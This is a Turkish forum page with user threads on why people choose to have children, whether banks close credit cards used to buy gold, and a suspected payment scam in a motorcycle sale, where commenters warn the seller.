Pakistanın orta yerine zeki ve bilinçli bir çocuk koymam mesela. Ona da yazık. Haksızlık. Ama norveç e koymak isterdim. Tr nin durumu da pek iyiye gitmiyor kötü tarafın doğum hızlarına bakılırsa.
0
🌸ananiyimioguz
(23.05.24)
bu kadar dusunen yapmaz +1

su an 33-37 yaslarindayiz, 6 senedir evliyiz, henuz cocugumuz yok.

insanlar cocugu tamamen hayattan beklenenler o yonde oldugu icin yapiyor. okula git --> is bul/kur --> evlen --> cocuk yap, model bu. kimse cocuk yaparken "insanlik devam etsin, turumuzun devamliligi" gibisinden seyler dusunmuyor. bu kadar dusununce okula gitmek de mantikli olmayabilir mesela.

dediginiz gibi, eskiden tarlada calisacak adam vs gibi is gucu alaninda ise yaramis epeyce cok cocuk sahibi olmak. bugun tarlasi olan az, sehirde yasamin da kendince finansal guclukleri var, hayat kalitesi tartisilir. ancak:

cocuk buyukmek eglenceli keyifli bisey, minicik beyinleryle biseyleri kesfetmeleri, akil etmeleri, oyun oynamalari, sizin hayatta akliniza gelmeyecek sorular sormalari vs epey keyifli. buyumesinde, dunyayi kesfetmesinde, kendini kesfetmesinde destek olmak, yol gostermek guzel seyler. bundan mahrum kalmak istememek gayet gecerli bir sebep.

diger yandan insanlar yaptiklari degil yapmadiklari seylerden daha cok pismanlik duyabiliyor, bu da bir baska sebep. 20-30lu yaslarda cok dert etmiyoruz ama hic 50-60 olmadik, tam olarak bilmiyoruz o yaslarda neye nasil ihtiyac duyabilecegimizi.

ayrica, cocuklar buyudukten sonra onlarin kurdugu ailelerle kalabalik olmak, arada birlikte biseyler yapabilmek, yanliz kalmamak, hastalikta yaslilikta cenazede davalik durumlarda vs samimiyetle siginabileci insanlar olmasi yine bir baska sebep.

zamanin "cocugu" olarak ben bugun ailemden uzakta yasiyorum oyle cok aman aman birlikte biseyler yapmiyoruz ama gercekten bir ihtiyac oldugunda atlayip gidebiliyor olmam, genel olarak varligim ailem icin guven verici bir durum. anneme kalsa en buyuk pismanligi daha cok cocuk yapmamis olmak.

dediginiz riskler elbette var, benim de kisisel olarak cocuk konusundaki en buyuk cekincem "ya buyudugu zaman cok stresli bir hayati olursa, ya anksiyetesi olursa, ya depresyonda olursa, ya intihar etmek isterse, ya kanser olusa, ya yatalak olursa" gibi seyler. tamam sorumluluk da istemiyroum belki ama erken cocukluk sorumluluklari citir cerez kaliyor bunlarin yaninda.

diger yandan bugun yetiskin insanlar olarak hepimizde belli bir olcude depresiflik, ankiyete bozukluklari fln var; cesitli hastaliklarla ugrasiyor, issiz kaliyoruz, sevgilimiz terk ediyor, dolandiriliyoruz, basimiza sacma sapan olaylar geliyor uzuluyoruz vs ama bir sekilde bunlarla basa cikmayi ve yasamayi ogreniyoruz; hayatin bir parcasi aslinda hepsi. ayni sekilde cok guzel yemekler yiyouz, sevdiklerimizle 2 kadeh tokusturuyoruz, konserlerde bagira cagira sarkilar soyluyoruz, gezip egleniyoruz. cesitli tibbi desteklere erisimimiz de gittikce kolaylasiyor. o yuzden biz bugun yetiskinler olarak bir sekilde var olabiliyorsak, hayatimizda biseyler yolunda gidiyorsa ve intihar etmiyorsak demek ki var olmak o kadar da kotu bir sey degil.

sonuc olarak konu gerek olup olmamasi degil, konu sizin bireysel olarak cocuk buyutmek istiyor olup olmamaniz.
0
taurina
(24.05.24)
Çocuk yapma kararı mantıkla verilen bir karar değil, duyguyla verilen bir karar. Mantıklı düşünürseniz evet sorumluluğu, yorgunluğu, özellikle küçük yaşlarda ihtiyacı olan dikkati verebilmek için kendinizi bile kaybetmeniz, vs. birçok olumsuz yanını bulabilirsiniz. 2 yaşında çocuğu olan bir anne olarak da bunların hiçbirini reddetmem. Ama dünyaları verseler de oğlumu değişmem.

Ben hamileliği bile çok sevmiştim. Ki çocuk yapma düşüncesi yapana kadar çok kafamı meşgul etmemişti bile. Karnımda minicik bir mercimek tanesi kadar olan bebemin şimdi bıcır bıcır konuşmasını duymak, karakterinin geliştiğini izlemek, büyümesine tanık olmak inanılmaz bir şey.

Bencil insan çocuk sahibi olmaz bana kalırsa, olursa da çocuğu hakkıyla yetiştiremez. Yemeyip yediren, uyumayıp uyutan bir anne veya baba nasıl bencil olabilir ki?
0
gmzo
(24.05.24)
@ gmzo, pek katılamıyorum. çocuğun kendisi zaten bencilce geliyor. çocuğa bakıyor olmak insanın eksik yanlarını besleyen bir şey, o durumu bencil olmamakla açıklayamayız.

François de La Rochefoucauld ve Sigmund Freud'un savunduğu şöyle bir görüş var;

"İyiliklerimizin çoğu, kötülüklerimizi gizleme sanatıdır." İnsanların yaptığı iyiliklerin bile aslında kendi kötü yönlerini ve çıkarcı doğalarını gizlemek için bir araç olduğunu söylerler.

"İnsanların yaptığı iyiliklerin çoğu, şeref ve erdemden çok gururdan kaynaklanır." İnsanlar güzel şeyler yaparken bile aslında gururlarını tatmin ettiklerini ve kendilerini daha iyi hissettiklerini öne sürerler.

"Narsisizm" Freud, insanların birincil ve ikincil narsisizm olarak adlandırdığı kavramlarla, kişinin kendi benliğine duyduğu sevgiyi ve bu sevginin nasıl dışa vurulduğunu açıklar. Bu bağlamda, birçok iyilik ve yardım davranışının aslında kişinin kendi narsistik ihtiyaçlarını karşılamak amacıyla yapıldığını öne sürer.
0
🌸ananiyimioguz
(24.05.24)
ben bekarım evlensem de hem ülke şartlarından hem şahsi ekonomik gücümden ötürü yapmak istemem. ancak milyon dolarlık bir topçu, aktör falan olsam en az 5 çocuk falan yapardım herhalde. harika bir kendini tamamlama aracı çocuk, paran çoksa eksilerinden mümkün olduğunca az etkilenirdin artılarını çok daha fazla yaşardın. çok iyi bir hayat yaşatacağın garanti olurdu zaten o yüzden bencillik değil tam tersine sahip olduğun iyi yaşamı paylaşmış olurdun. ülkede yarın bir gün iç savaş çıkıp millet değneklerin ucunda komşusunun kellesiyle gezse bile iyi hayat yaşayacağı garanti olurdu para böyle bir şey maalesef. ama ortalama beyaz yaka olarak türkiye'de çok zor bir kere muhakkak koleje gönderecek paran olmalı şu meb müfredatında çocuk mu yetiştirilir. bu bencillik olur bence de. avrupa'da bir orta sınıf olsaydım da eşle gezme tozma işlerinden sıkılma hissine gelirsek düşünebilirdim yok bizi kesmiyorsa bir türlü gezmek tozmak gene yapmak istemezdim herhalde.
0
semaforo de medianoche
(24.05.24)
bu inanç gibi bişey. Kalbin/beynin neye yatkınsa onu görürsün. Senin dediğin gibi, kendi genlerinden kendine benzeyen bir varlık yaratıp yetiştirmeyi müthiş bencil egoist bir şey olarak da görebilirsin, bir annenin yazdığı gibi 'kendimizi düşünmeyip onu yetiştiriyoruz bu nasıl bencil olabilir' diye de görülebilir.

Bu arada dünyanın gidişatına bakmak vs. yalan. Evet nüfus çok ve dünya kötüye gidiyor ama belki de en barışçıl çağdayız (tabii üçüncü dünya savaşı geliyor olabilir, gelmiyor da olabilir). Ben mesela üreyen ve üremeyen kesimi görünce "biz üremeliyiz yav" diyorum. Dünyayı b*k eden şeylerden biri de bu çünkü. İngiltere'de çocuklara en çok konulan isim Muhammed'miş. Neden acaba :D Türkiye'de de 20-30 yıla kimler iktidarda olacak tahmin etmek zor değil. Bunu sorgulayan insanlar yeterince üremezse hayatını belirleyen kararları hiç sevmediğin insanlar alacak (demokrasi yönetimi kaldığı sürece). Fakat bu da bencil ve "oy içi mi çocuk yapıyoruz yav" dedirtecek bişey. Bence zaten çocuk yapmak saadet zinciri gibi bişey. Sistemin devamı için üremek gerekiyor, yeterince genç olmazsa emeklilik sistemi bile çöküyor :D
0
nhk ni youkosu
(24.05.24)
@ thetruenorthstrongandfree, sizin şartlarınızda çocuk yapmak değil yapmamak ayıp olurmuş, o şartlarda çocuğa iyi bir ortam sunamayacağım diye kaygılanmayız ki. Verebileceğiniz imkanlar ve çevre bu düşüncemizi etkiler tabii ki.
0
🌸ananiyimioguz
(24.05.24)
1 - bayragi ilerde birine devretmek icin

2 - her di$i hayvan mutlaka bir kere dogurmali, buna insan da dahil. annelik duygusunu yasamamis bir kadin yasliliginda sikinti ceker, cevremde gordugum yasini almis ve dogurmamis kadinlar sikintili, yerine kedi kopek kaplumbaga falan koymaya calisiyorlar ama yetmiyor.
0
cooperr
(24.05.24)
Bu kadar detayli dusunmek cok sacma. Hepimizin genlerinde var. Hayvanlar niye uruyor? Onlara ne faydasi var? Zarari bile var ugrasiyorlar ediyorlar gida bulup besliyorlar vs. Insanlarin ureme sebebi de bu kadar basit. Boyle kodlanmisiz.
0
The_Lollok
(24.05.24)
@ The_Lollok, hayvanlar neden ürüyorlar? bölünme, çoğalma, üreme canlılığın temelinde var. evrimsel sürecin başlama nedeni. bu konuda yetenekli olmayanlar tarih sahnesinden elendiği için günümüzdeki hemen her canlı üreme konusunda yetenekli ve iç güdüsel olarak hazır hale evrilmişler.

Fakat biz insanlar şu an neyin neden olduğunu ve nasıl çalıştığını az çok kavrayabiliyoruz.

Aklımızla düşündüğümüzde, insanlığın günümüzde üremesini gerektirecek bir sebep yok ki? Korunma yöntemlerini neden çıkardık, kontrol altına almak için. Veya hiç ürememek için. Soyumuz tehlikede, çoğalmamız lazım gibi sebep de yok.

Mesela hayvan çiftleştirince hayvanseverler hemen kızarlar ya "Sokakta bir sürü hayvan var kardeşim ne diye hayvan çiftleştirip onları alıyorsunuz veya sahiplendiriyorsunuz!!!" diye.

Ama sen niye ürüyorsun bir sürü kimsesiz çocuk var sahiplen dediğinde kalırlar öyle. İşte ama bağ falan... derler. Bencillik yani.

Nüfusu artırmanın kime ne faydası var şu an?

Mirasımı devredicem diyen var. Yahu ben öldükten sonra biri almış, almamış kime ne. Belki hiç edecekler geride kalanlar mirası. Bilemiyorsun ki. Belki birbirlerine düşecekler. Hadi onlar da idare etti diyelim, torunlar? Nereye kadar gidecek, ne kalacak, kime kalacak, herkes göçecek.

Bazı hayvanların da aklı olsa üremezdi veya çok kontrollü ve az ürerlerdi diye düşünüyorum soyları tehlikede değilse.
0
🌸ananiyimioguz
(24.05.24)
Böyle kişisel bir konuda burada uzun uzun yazdığına göre sende fikirlerinde emin değilsin ve teyit edilmek istiyorsun. Ancak bu tamamen kişisel bir karar. Topluca böyle bir konuda mutabakat oluşmasını beklemen çok mantıklı gelmiyor.
0
dreamsandcolours
(24.05.24)
Biri sahane bi laf etmisti yillar once bana. İsin ozeti gibi. Sedat bak demisti... ne çocukla oluyor ne de cocuksuz. Ama cocuklu daha guzel.

5 yil yapmadik. Sonra gule oynaya cocugumuz oldu.
0
halk
(24.05.24)
Bazen ellerime kollarıma bakıp "olm milyonlarca yıllık bir evrim sürecinin ürünüsün. Bu noktaya gelene kadar ataların ne yollardan ne sıkıntılardan geçti ve sonucunda sana kadar ulaşıldı. Bu nasıl bir kibirdir ki 4.5 milyar yıllık yolu bir anda kesip atıyorsun"

Urememenin getirdiği bu kibir yalan yok hoşuma gidiyor.

Bir de çocuğu olan biri bencil olamaz tabirine takıldım yorumlarda. Ben tam tersini düşünüyorum. Doğanın yüklediği "turun devamliliginin kodlandigi" iç guduler o kadar kuvvetlidir ki, kendi yaşamının önüne koyarsin yavrunu = annelik.

Kesin olarak Bencil olamayacağını iddia edebileceğiniz tek insan türü, Çocuk yapma şansı olup yapmayıp evlat edinenler bence.

Tamamen akıl, merhamet ve kendinden olmayan bir şeyi kendi önüne koymak.

Bu insanları çok seviyorum.
0
makbur
(24.05.24)
Her şey söylenmiş zaten. Ozetle

1-turun devami icgudusu (zeki yaratik olarak aklinla bunun yersizligini kesfetsen de milyon yıllık evrimin getirisini hemen alt edemiyorsun, kervana katiliyorsun mejburr bazen; yakında senin de yapacağın gibi ;))

2-uzerine düşünmemek, standardi bu zaten deyip yapmak

Bence çocuk yine anlaşılabilir asıl delilik evlenmek. Ama onu da yaptık meselaam di mi
0
abuzer
(24.05.24)
Ben yapmiyorum (simdilik). Gereksiz bencillik ve sorumluluk gibi geliyor. Evlat edinme durumlari da var, onun tartismasi farkli olabilir.

Ama o cocuk yapma icgudusu tetiklenebiliyor. Tabii hayvanlar gibi ilkel icgudu degil. Daha cok "istek"
gibi. Gelismis beynimiz var sonucta. Cogu kisi toplumdan, etrafindan da etkileniyordur. Ve sonucta senin anne baban da var ve atalarin. Devam ettirme istegi oluyor. Gelecege yatirim gibi de dusunebiliyor insanlar.

Daha duygusal yonleri de var. Ve sartlari iyi bireylerde duygusal yon daha agir basiyor sanirim. Anne baba olmayi deneyimlemek. Sevecegini birini dunyaya getirmek.

Anne babaya da sorulabilir: "beni neden dunyaya getirdiniz"? :)

Ya da birey kendine de sorabilir. Felsefeye girecek ama "Ben neden dunyaya geldim?"
0
ermanen
(24.05.24)
Simdi biz doguyoruz, gozlemliyoruz ve birseylere alisiyoruz. Aslinda bircok sey aliskanliklarin getirdigi birsey bana kalirsa. Yani bir sekilde boyle kodluyoruz zihnimize. Yani ayni sekilde bizim de buyuyup evlenince bu sekilde olacagimizi, cocuklarimizin olacagini dusunuyoruz tum akis boyunca.
Farkli bir acidan yine bakayim, bizim yasayamadiklarimiz, pismanliklarimiz var bu hayatta ve bunlari birisinin yasamasini istiyoruz, planliyoruz. Bu da iste cocugumuz oluyor.
Butun bunlari durumumuz kotu bile olsa planlamiyoruz cunku durumu iyi olanin da kotu olanin da cocuk yapmak icin sebepleri farkli ancak illaki bir sebebi var.

3 yasinda oglu olan bir baba olarak, cocuk yapmadan once bir bebegi gozlemlemek ve vakit gecirmenin en onemli karari almanizi saglayacagini dusunuyorum. Bu durtu gelecek mi, cocukla zaman gecirmeyi ilgilenmeyi sevecek misiniz, yoksa size zor mu gelecek. Ondan sonra bu kadar detayli dusunmeyeceksiniz emin olun.
0
va
(24.05.24)
Karşı argüman üretiyorum diye katı bir şekilde karşıyım anlamı çıkmasın, dediğim gibi ben daha yakınım çocuk konusuna. Sadece mantıklı bir fikir, görüş var mı, insanlar ne düşünüyor veya düşünmüyor onlara bakıyorum.

Bana kalırsa ben sırf "ya bizim birlikteliğimizden doğan çocuk nasıl bir şey olur acaba, iyi kötü o kadar deneyim elde ettik, biraz da biz aktaralım bakalım kullansın onları çocuk, derdiyle dertlenelim, sevinciyle mutlu olalım.." düşüncesiyle bile çocuk yapabilirim gibi. Şimdilik sadece eşimden bağımsız ekonomik sebepler bizi ve ilişkimizi sarstığı için çocuk mantıklı gelmiyor. Ama bu sorunlar zamanlar çözüldükten sonra olabilir diye bakıyorum. Eşim o zamanda bile mantıklı bakamıyor.

Bu düşünce ile çocuk yapmak bencillik diyor. Ay merak ettim dur bi bakalım diye çocuk mu yapılır diyor. Zaten yoğun çalışıyorum, çocuğa nasıl bakıcam diyor. Hadi baktık büyüttük diyelim, iyi bir eğitim nasıl vericez bu topraklarda diyor. Çok deli rakamlar harcamak lazım veya. Kötü yetişecekse veya ortalama yetişecekse de çocuğa haksızlık değil mi diyor. Ona sonra "seni zor şartlarda büyü diye yaptık yavrum" mu diyeceğiz, demez mi çok daha iyi şartlarda dünyaya gelenler var, benim günahım neydi diye. Belki demez sonuçta biz razı olduk bir şekilde ama derse, bu büyük bir sorumluluk.

Ben kötü de olsa iyi de olsa hayatı deneyimlemenin, hiç gelmemektense bir artı olduğunu düşünüyorum. Ama eşim öyle düşünmüyor. Eğer @ thetruenorthstrongandfree ın sağladığı gibi bir şart sağlanmıyorsa çocuğa haksızlık edileceğini düşünüyor.
0
🌸ananiyimioguz
(24.05.24)
vaaaay demek 30+ yaşında bir çiftsiniz ve çocuk istemiyorsunuz, hatta çocuk yapanların neden çocuk yaptığına anlam veremiyorsunuz. ohaaa ilk defa böyle bir durumla karşılaşıyorum :D

nedense hep çocuk istemeyenler kendini uzun uzun açıklama ihtiyacı hissediyor. aslında kimse sizin çocuk yapıp yapmamanızla ilgilenmiyor, merak etmeyin. bu kadar çok kafaya takıp sorguladığınıza göre bence siz kararınızdan emin değilsiniz. emin değilseniz kararsızım filan diyebilirsiniz.

çocuk yapmamak eskisi gibi yadırganmıyor zaten emin olun.

bahsettiğiniz -son paragraf - eşinizin başına da gelebilir. o zaman evlenmek de saçma.
hayatta her an her şey olabilir tabi ki insan en çok çocuğu için korkar da sebep olarak yarın bir gün tecavüze uğrar diye bi seçenek dile getirmek çok saçma.

yani bu iş böyle uzun uzun felsefeye dönüşecek tartışmalar yapılacak bir konu değil bence. isteyen yapar istemeyen yapmaz. herkesin kendince haklı sebepleri var. birine gidip neden kedi sahiplenmiyorsun ya da balkondaki saksına neden çiçek dikiyorsun demek gibi bir şey bu.
0
elorelia
(24.05.24)
Heh yani sen eşine sunmalik argüman istiyosun bı noktada...

Öyle harikayim böyle harikayim diye sallayanlari dinleme öncelikle. Kaldı ki sizin durumunuz da fena değil. Ortalama durumdasınız. Sevgi ve huzur ortamında olan bir çocuk için gaaaayet yeterli sartlariniz. Bı de o kadar kontrolcü olmayın (ben de oluom), belki çocuk ileride bohem bı şekilde kulübede yasamaktan keyif alicak ne bilionuz? Sizin planladiginiz yatlarinizi katlarinizi uçaklarinizi (xd) istemicek?

Çocuk ayakkabisini ysl almadiinizi anlamaz meraq etme. Evcil hayvan gibi düşün xdxd sevgini sakınma, gerektiğinde onu koruyacagini belli et, kalanı ileride kendisi halleder zaten o ozguvenle
0
abuzer
(24.05.24)
Cocuk ne ya hem de turkiyede. aklini peynir ekmek gibi yemen veya hayatsiz olman lazim cocuk icin. zaten doguranin yari akli da gidiyo hepten hayatimiz zorlasiyi
0
ala09
(24.05.24)
Benden iyi bir ebeveyn olmaz o nedenle çocuk asla düşünmedim ve düşünmem. Geçen ofiste bütün öğlen yemeği boyunca doğru kişi ile tanışırsan o isterse ne yapacaksın diye sorguya çekildim bir de yani insanlar her bir şeye burunlarını sokma ihtiyacı duyabiliyorlar.

Size gelince daha geçen boşanma masrafı soruyordunuz şimdi biz hiç çocuk düşünemiyoruz diyorsunuz bence de düşünmeyin zaten.
0
peki madem
(24.05.24)
mahalle baskısı bu konuda büyük rol oynuyor. her ne kadar çocuk istesen de, günümüz şartlarında bunun altına girmek oldukça zor. zorumluluk tarafı ayrı.
0
kondansator
(24.05.24)
kedi götünü görmüş yara zannetmiş.
neden çocuk yapmayayım?

evladım olur. severim işte.
0
OgutucuRecep
(24.05.24)
ben bu olaya deneyim olarak baktım ve bu deneyimden neden mahrum kalayım diyerek istedim. sonuç kelimelerle tarif edilemeyecek kadar muazzam bir şey. bu dünyada başka hiç bir şey çocuğunuzun size hisettirdiklerini asla ama asla hisettiremez. başka hiç bir sevgi, aşk, bağ vs vs çocuk-ebeveyn bağına benzemez. bu işin bir yönü.

evet zorluklar da müthiş. zaten ekonomik koşullardan dolayı 2. düşünemiyorum. siz fazla sorgulamışsınız bir de tam tersi hiç sorgulamadan önüne arkasını düşünmeden birden fazla çocuk doğuranlar var. bu ülkedeki kaynaklar ve sistemin bu kadar çok çocuğa olması gerektiği kadar yetmesi imkansız.zaten düşüncesizce doğurup duranlar yukarıda bahsettiğim bağı falan kurmuyor ortaya salıyor ne eğitimi, ne güzel vakit geçirmesi saldım çayıra modunda. o yüzden de bir sürü psikolojisi bozuk insan var toplumda.

öte yandan evrimsel ve insanlığın gelişmesi açısından kaçırdığınız şeyler var. mesela siz hep 30 lu yaşlarda kalmayacaksınız. 90 yaşınıza geldiğinizde kalçanızı kırıp yatalak olup tuvalete gidemediğinizde bir başkasının doğurduğu eğittiği çocuk (hemşire olur hastabakıcı olur) sizinle ilgilenecek ve ona minettar kalacaksınız. herkes sizin gibi çocuk yapmasaydı sizin de muhtaç olduğunuz şeylere erişiminiz olmayacaktı bir de o yönden bakın.
0
iwillsee
(24.05.24)
@ peki madem, evet bize geliyorlar öyle arada pek sağlıklı olmayabilir zaten bizim çocuk yapmamız bir bakıma haklısınız ama

bazı dinamikler var çiftlerin ikisi de bireysel olarak çok iyi insanlar fakat birlikteliklerinde sorun çıkıyor. hal böyle olunca bir de çocuk varsa ayrılmaları daha mantıklı oluyor.

benim de anne babam ayrı mesela. ben hiç sıkıntısını yaşamadım daha güzel bile denilebilir. evde gürültü yok patırdı yok çatışma yok. istediğinde birine gidiyorsun istediğinde öbürüne gidiyorsun kalıyorsun. herkes kendi hayatında vs.

tabii ki en güzeli çocuğa da aile kavramını geçirmek için mutlu bir aile tablosu çizmek ama herkes kendi ilişkisine veya annesine babasına baksın 4/4lük bir hayat mı yaşıyorlar, bazen ayrılık daha mantıklı olabilir. ben ayrılık ile çocuğu engel olarak görmüyorum o yüzden. ülkeden bir sürü insanın annesi babası ayrı. eğer sıkıntı tipler değillerse öyle de sağlıklı çocuk büyütülebilir. ben bir insanla aynı evde yaşamak istemeyebilirim ama çocuğuna bakmak / çocuğumuza bakmak isteyebilirim.

@ iwillsee, teşekkürler deneyiminiz için. fakat yaşlılık konusuna katılmıyorum. ben kimseye yük olmak istemem gerekirse uyutsunlar diye vasiyet bile verebilirim. yaşlanınca kim bakacak diye çocuk mu yapılır bu iyice bencilce bişey. ben tek çocuğum, kardeşim yok bişey yok. eşimle olur da ölene kadar 'evlilik mücadelesini' :D sürdürebilirsek birbirimize bakıcaz işte çocuk olmasa da. en kötü bakım evi qeyf. o da olmadı uyutsunlar dediğim gibi. eşim de olmazsa bir köşede ölür giderim. nedendir bilmiyorum, böyle kaygılarım/korkularım yok.

Çoğu gelişmiş ülkede durum biraz daha farklı, ebeveynler çocuklarını yetiştirdikten sonra köylere kasabalara çiftliklere yerleşiyorlar. Ki kendi hayatlarını yaşasınlar biz yük olmayalım diye. Bizimkiler de gel evime desen gelir. Şimdi diyeceksiniz ki onlar sana o kadar baktı sen onlara bakmıyor musunuz hayırsız evlat. Bence burada kültürel ön yargılar var. Ben öyle bir sorumluluğu kabul etmiyorum ki, onlar da beklemesin. Doğuran bakmakla yükümlü hatta kimi bakmıyor bile. Ama çocuğun ebeveyne bakmakla yükümlü olduğunu düşünmüyorum.
0
🌸ananiyimioguz
(24.05.24)
bu kadar düşünüyorsanız yapmayın zaten. çocuğa da yazık.
0
Whily
(24.05.24)
Tum bunlari sorgulamis ve cocuk istemeyerek 35 yil gecirmis bir insan olarak bu yil bebegim oldu. Butun hepsi bos muhabbetmis ve gereksiz dusuncelermis gibi geliyor su an bu cocuk yapmama gerekceleri ve varolan yeni insan dunyanin en gerekli ve mukemmel seyi oluyor doğduğu andan itibaren. Bir de ben genel olarak bir seyi isteyip istemedigimden cok emin değilsem yapmayarak pisman olma ihtimalini elemek icin yapmayi tercih ederim, cocugumu da iyi ki yapmisim. Akli basinda bunlari sorgulayan insanların bilincli bir sekilde cocuk yapması da insan ve toplum olma deneyimi açısından değerli.
0
instant crush
(24.05.24)
Maddi durumunuz iyiyse çocuğa büyükşehirde üç ev, bir araba veya bir dükkan ve araba filan ve yüklü miktar nakit para bırakabilecekseniz hiç düşünmeden yapın. Fakat kardeşini de 3-4 sene sonra yapın. İleride birbirlerine yoldaş olurlar.

Eğer maddi durumunuz orta direkse çocuklara çok iyi birer eğitim şansı ve hayat mücadelesi ruhu veririm diyorsanız o zaman da yine aynı şekilde en az iki tane yapın.

Fakat en önemlisi de şu. Aile içi huzurunuz fiziksel ve mental sağlığınız yerinde, eşler arası sevginiz muhabbetiniz karşılıklı saygı ve muhabbet sürekli olarak iyi seviyede varsa en önemlisi bu, tüm şartlar okeyse yapın.
0
psmstc
(24.05.24)
Bir de çocuk yapma işi mantıkla olmaz yoksa yapmazsın katılıyorum +1500
0
psmstc
(24.05.24)
Yazdıklarımı anlamamışsınız. Sizin yaptığınız çocuklar size bakar demiyorum. Evrimsel olarak yaşlanınca birileri tarafından yapılmış çocuklara ihtiyacınız olacak diyorum. Şimdi de öyle hiç mi doktora dişçiye gitmiyorsunuz sonuçta onlar da bi annenin doğurup büyüttüğü çocuklar.kimse çocuk yapmasın derseniz mantıksız oluyor
0
iwillsee
(24.05.24)
(6)

Kredi Kartı İle Altın Alanların Kartları Kapatılabilir ??

eisberg
Arkadaşlar selam. Böyle haberler görüyorum birkaç gündür. Bunun resmi olarak aslı astarı var mı? Yani bu illegal bir şey değil neticede. Hepsinde pos var, internetten satışta vs. de siteler satıyor, madem böyle bir şey var neden siteleri kapatmıyorlar ya da posları kaldırmıyorlar? Ayrıca kapatılabil
Arkadaşlar selam. Böyle haberler görüyorum birkaç gündür. Bunun resmi olarak aslı astarı var mı? Yani bu illegal bir şey değil neticede. Hepsinde pos var, internetten satışta vs. de siteler satıyor, madem böyle bir şey var neden siteleri kapatmıyorlar ya da posları kaldırmıyorlar?

Ayrıca kapatılabilir ne demek? Kapatılmayabilirde mi?:) neye göre kime göre?

Siz ne anladınız bu haberden?
0
eisberg
(06.02.24)
Evet ben de görüyorum bu haberi

İllegal olduğu için değil ama, parasal sıkılaşma kapsamında yapılıyor bu tür şeyler. Altın almanız yasak değil pek tabi ki, ancak krediyle altın almanızın önüne geçilmeye çalışılıyor. Kredi kartı kredili bir ürün, krediyi size veren kurum belli hedefler kapsamında bu krediyi nereye harcayacağınız hakkında sınırlar koyabiliyor.
0
akhenaten
(06.02.24)
kredi cekip yatirim yapmak yasak genel olarak bildigim kadariyla. bu, riskle alakali: altinin degeri dusebilir, borsa cakilabilir o yuzden borcunu odeyemeyebilirsin, ugrasmasi da bankaya kalir. kredi kartiyla borclanip altin almak da benzer bir sekilde degerlendiriliyor olabilir.

"kime gore neye gore" kismi bankanin risk modellemesine ve kriterlerine gore degisecektir. yani genel olarak 1 tane ceyrek aldin diye kapatilmaz kartin muhtemelen. veya a bankasi 50 bin liralik altin almana "cok riskli" diyip karti kapatabilirken b bankasinin olcutlerine gore guvenilir musteriysen 100 bin liralik alisverise bir sey demeyebilirler.
0
hot potato
(06.02.24)
yaparlar burası türkiye ama normal şartlar altında yapamamaları lazım. bu işin normal alışverişten hiçbir farkı yok. kredi ile yatırım yapamazsın diye bir yasak da yok ayrıca. ben yapıyorum.
0
paintov
(06.02.24)
@paintov normal alışverişten farkı şöyle var,

Elinizde bir miktar kredi limiti var, acil bir ihtiyacınız da yok. O halde bunu kullanmaktansa kullanmayıp borca girmemeyi tercih ediyorsunuz, çünkü gerekli bir durumda para lazım olabilir diyorsunuz. Eğer harcarsanız da bu paranın elinizden çıkıp gitmiş olacağını biliyorsunuz. Kullandığınız krediyi kazanacağınız maaşınızdan ödemeniz gerekeceğini biliyorsunuz.

Diğer taraftan elinizde bir miktar kredi var, altın fiyatları da yükselecek gibi. Acil bir ihtiyacınız da yok. O halde neden kredi çekip altına yatırım yapmayasınız? Elinizde bir miktar paranız var, bankadan da sizin olmayan bir miktar parayı ödünç alıp onu da altına yatırıyorsunuz ve piyasaya borç parayla ortaya çıkardığınız bir hacimle para sokuyorsunuz. Bu inandığınız bir yatırım, inanmasanız yatırım yapmassınız. Haliyle kredinin geri ödemesini gelecekte maaşınızdan yapacağınızı düşünmüyorsunuz, çünkü elinizde altınınız var ve ondan yaptığınız kâr da cebinize ekstra para olacak. Bunu yapan sırf siz değilsiniz, birçok kişi böyle yapıyor. Haliyle normalde piyasaya hiç girmeyecek olan paralar piyasaya giriyor. Ayrıca işler istediğiniz gibi gitmezse borcunuzu geri ödemekte zorlanacağınız da cabası.

Sıkılaşma amacıyla buna benzer düzenlemeler yapılabiliyor çoğu yerde.
0
akhenaten
(07.02.24)
@akhenaten hocam yapılabilir, bunda sorun yok. ama kapsamı bellidir. şimdi "kartınız kapatılabilir" ne demek? yani ben buradan kapatılmayabilir de gibi bir şey anlıyorum. neye göre karar verilecek?

bir de madem yasak, web siteleri hala nasıl çalışıyor? poslardan bu işlemleri yasaklasınlar :)
0
🌸eisberg
(07.02.24)
bunu diyenler bir yıl önce bankada döviz tutmayın devlet el koyacak da diyordu.
kredi kartıyla altın satılmasın istiyorlarsa kuyumculara pos vermeyi bırakabilir ve verdikleri posları iptal ederek başlayabilirler mesela, daha kolay.
aaa durun onu yapamazlar. pos zorunluluğu geliyor nisanda zaten.
0
Whily
(07.02.24)
(6)

Motoruma bakmaya geldiler ama ödemeyi eminevim yapacakmış?

ananiyimioguz
Selamlar motorum ilandaydı bugün gelip baktılar beğendiler.Ancak hafta içi ödemeyi eminevim mi dedi öyle bir şey onu da tam hatırlamıyorum da..Bizim orada paramız var zaten bir miktar. Bu motoru da aldı göstericez biz oraya ödeme yapmaya devam edicez ama parayı size oradaki yetkili gönderecek dedi.B
Selamlar motorum ilandaydı bugün gelip baktılar beğendiler.

Ancak hafta içi ödemeyi eminevim mi dedi öyle bir şey onu da tam hatırlamıyorum da..

Bizim orada paramız var zaten bir miktar. Bu motoru da aldı göstericez biz oraya ödeme yapmaya devam edicez ama parayı size oradaki yetkili gönderecek dedi.

Bakın bu da konuşmalarımız dedi yetkiliyle görüşmüşler. ruhsat faturası, e devlette araçlarım menüsündeki görüntü, tramer sorgusu vs. istiyorlarmış.

Bunlar okeyse 1 saatte hallederiz dedi haftaiçi.

Tamam ben de bir araştırayım parayı versinler de sorun değil dedim ama nasıl yapsam bilemedim dikkat etmem gereken bir şey var mı daha önce böyle bir şeye girişen oldu mu?

Edit: isterseniz eminevime gidip yetkiliyle de görüşebiliriz dedi
0
ananiyimioguz
(27.01.24)
Notere gitmeden, işlemleri başlatmadan, gişedeki görevli size "para hesabınıza yattı mı?" diye sorduğunda para hesabınıza yatmadan hiçbirşey yapmayın derim. Beni baba evim ilgilendirmez diyin.
0
baldan kaymak
(27.01.24)
Bir arkadaşımı ilanla arayan biri de aynı şeyleri söylemiş.
15-20 dakika araç hakkında konuştuktan sonra (kesin alıcı gibi) iki yüz ben vereceğim gerisini evkur'dan alacaksın tarzı bir şey.
Olay orada kapandı tabii ki.
Aracı kim alacaksa para da o kişinin hesabından gelecek demiş arkadaş...
Tabii konu hemen kapanmış.
Yeni bir dolandırıcılık türü sanırım
Oltaya gelmeyin.
0
marcus fenix
(27.01.24)
